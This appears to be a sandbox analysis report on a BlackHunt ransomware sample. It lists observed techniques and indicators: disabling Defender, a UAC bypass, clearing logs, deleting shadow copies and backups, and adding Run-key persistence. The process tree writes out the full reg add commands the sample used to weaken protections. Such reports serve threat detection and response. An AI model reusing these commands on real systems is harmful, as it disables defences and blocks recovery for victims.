6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5

Data Destruction

T1485

pid	Process
3108	fsutil.exe
2808	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	cmd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	cmd.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
15864	wevtutil.exe
8084	wevtutil.exe
15300	wevtutil.exe
10156	wevtutil.exe
15352	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
7000	bcdedit.exe
2840	bcdedit.exe
17092	bcdedit.exe
16780	bcdedit.exe

Renames multiple (506) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5616	wbadmin.exe
6536	wbadmin.exe

Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\P:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\E:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\I:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\G:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\J:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\Z:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\M:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\Q:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\S:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\U:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\W:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\R:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\O:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\A:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\H:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\K:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\L:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\X:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\T:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\Y:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\N:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\V:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened (read-only)	\??\B:	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\7-Zip\Lang\ku.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\Java\jdk-1.8\legal\javafx\#BlackHunt_ReadMe.hta	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_zh_HK.properties	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\meta-index	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\7-Zip\Lang\is.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mr.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\freebxml.md	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\icu.md	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\dotnet\host\fxr\#BlackHunt_ReadMe.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\hijrah-config-umalqura.properties	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\jsse.jar	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\management\snmp.acl.template	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\#BlackHunt_Private.key	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku-ckb.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_zh_TW.properties	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\Java\jre-1.8\lib\ext\#BlackHunt_Private.key	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\cldr.md	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaTypewriterBold.ttf	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_ReadMe.hta	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\mesa3d.md	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#BlackHunt_ReadMe.hta	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_LinkDrop32x32.gif	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\VideoLAN\VLC\#BlackHunt_ReadMe.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\#BlackHunt_ReadMe.hta	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\asm.md	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\[email protected]	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\#BlackHunt_ReadMe.hta	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightRegular.ttf	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_it.properties	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\psfont.properties.ja	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\Java\jre-1.8\lib\jfr\#BlackHunt_Private.key	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\#BlackHunt_ReadMe.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\joni.md	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\jpeg_fx.md	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\orb.idl	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\resources.jar	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_de.properties	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\tzmappings	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\freebxml.md	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgeCalls.h	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\cryptix.md	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\santuario.md	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\#BlackHunt_ReadMe.hta	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\xerces.md	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\plugin.jar	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\Java\jre-1.8\lib\management\#BlackHunt_ReadMe.hta	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\VideoLAN\#BlackHunt_Private.key	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#BlackHunt_ReadMe.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\plugin2\#BlackHunt_Private.key	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_Private.key	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\dotnet\shared\#BlackHunt_ReadMe.hta	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\CIEXYZ.pf	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\dotnet\host\#BlackHunt_ReadMe.hta	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\7-Zip\Lang\si.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\Java\jre-1.8\legal\jdk\#BlackHunt_ReadMe.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaBrightItalic.ttf	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\public_suffix.md	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\#BlackHunt_ReadMe.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\#BlackHunt_ReadMe.hta	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\#BlackHunt_ReadMe.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#BlackHunt_Private.key	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_ReadMe.txt	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\sRGB.pf	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\management\#BlackHunt_ReadMe.hta	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
8492	8308	WerFault.exe	246

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3284	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3488	vssadmin.exe
5748	vssadmin.exe
6404	vssadmin.exe
8676	vssadmin.exe
6372	vssadmin.exe
6552	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
9988	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
9032	PING.EXE

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
Token: SeRestorePrivilege	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
Token: SeBackupPrivilege	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
Token: SeTakeOwnershipPrivilege	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
Token: SeAuditPrivilege	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
Token: SeSecurityPrivilege	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
Token: SeIncBasePriorityPrivilege	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3680 wrote to memory of 484	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	218
PID 3680 wrote to memory of 484	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	218
PID 3680 wrote to memory of 2708	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	120
PID 3680 wrote to memory of 2708	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	120
PID 3680 wrote to memory of 4864	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	236
PID 3680 wrote to memory of 4864	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	236
PID 3680 wrote to memory of 3416	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	214
PID 3680 wrote to memory of 3416	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	214
PID 484 wrote to memory of 5084	484	cmd.exe	213
PID 484 wrote to memory of 5084	484	cmd.exe	213
PID 3680 wrote to memory of 3588	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	98
PID 3680 wrote to memory of 3588	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	98
PID 2708 wrote to memory of 3116	2708	cmd.exe	211
PID 2708 wrote to memory of 3116	2708	cmd.exe	211
PID 3680 wrote to memory of 4380	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	210
PID 3680 wrote to memory of 4380	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	210
PID 3680 wrote to memory of 2072	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	209
PID 3680 wrote to memory of 2072	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	209
PID 3680 wrote to memory of 1412	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	206
PID 3680 wrote to memory of 1412	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	206
PID 4864 wrote to memory of 868	4864	Conhost.exe	205
PID 4864 wrote to memory of 868	4864	Conhost.exe	205
PID 3416 wrote to memory of 2472	3416	cmd.exe	203
PID 3416 wrote to memory of 2472	3416	cmd.exe	203
PID 3680 wrote to memory of 2404	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	200
PID 3680 wrote to memory of 2404	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	200
PID 3588 wrote to memory of 520	3588	cmd.exe	201
PID 3588 wrote to memory of 520	3588	cmd.exe	201
PID 3680 wrote to memory of 1620	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	199
PID 3680 wrote to memory of 1620	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	199
PID 3680 wrote to memory of 3696	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	198
PID 3680 wrote to memory of 3696	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	198
PID 3680 wrote to memory of 2200	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	196
PID 3680 wrote to memory of 2200	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	196
PID 3680 wrote to memory of 1388	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	102
PID 3680 wrote to memory of 1388	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	102
PID 4380 wrote to memory of 1544	4380	cmd.exe	194
PID 4380 wrote to memory of 1544	4380	cmd.exe	194
PID 3680 wrote to memory of 3476	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	193
PID 3680 wrote to memory of 3476	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	193
PID 1412 wrote to memory of 2956	1412	cmd.exe	106
PID 1412 wrote to memory of 2956	1412	cmd.exe	106
PID 2072 wrote to memory of 3496	2072	cmd.exe	138
PID 2072 wrote to memory of 3496	2072	cmd.exe	138
PID 3680 wrote to memory of 4008	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	192
PID 3680 wrote to memory of 4008	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	192
PID 2404 wrote to memory of 5020	2404	cmd.exe	191
PID 2404 wrote to memory of 5020	2404	cmd.exe	191
PID 1620 wrote to memory of 3584	1620	cmd.exe	153
PID 1620 wrote to memory of 3584	1620	cmd.exe	153
PID 3680 wrote to memory of 3784	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	190
PID 3680 wrote to memory of 3784	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	190
PID 3696 wrote to memory of 4388	3696	cmd.exe	189
PID 3696 wrote to memory of 4388	3696	cmd.exe	189
PID 3680 wrote to memory of 560	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	188
PID 3680 wrote to memory of 560	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	188
PID 3680 wrote to memory of 4412	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	187
PID 3680 wrote to memory of 4412	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	187
PID 1388 wrote to memory of 2024	1388	cmd.exe	186
PID 1388 wrote to memory of 2024	1388	cmd.exe	186
PID 3680 wrote to memory of 2808	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	267
PID 3680 wrote to memory of 2808	3680	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe	267
PID 2200 wrote to memory of 4392	2200	cmd.exe	184
PID 2200 wrote to memory of 4392	2200	cmd.exe	184

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe

C:\Users\Admin\AppData\Local\Temp\6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe
"C:\Users\Admin\AppData\Local\Temp\6b3ff43876428c662816018f7037e166f1abd29594e3df779711d0d6f92d88d5.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1388
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4436
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1440
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3936
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:8392
- C:\Windows\System32\cmd.exe
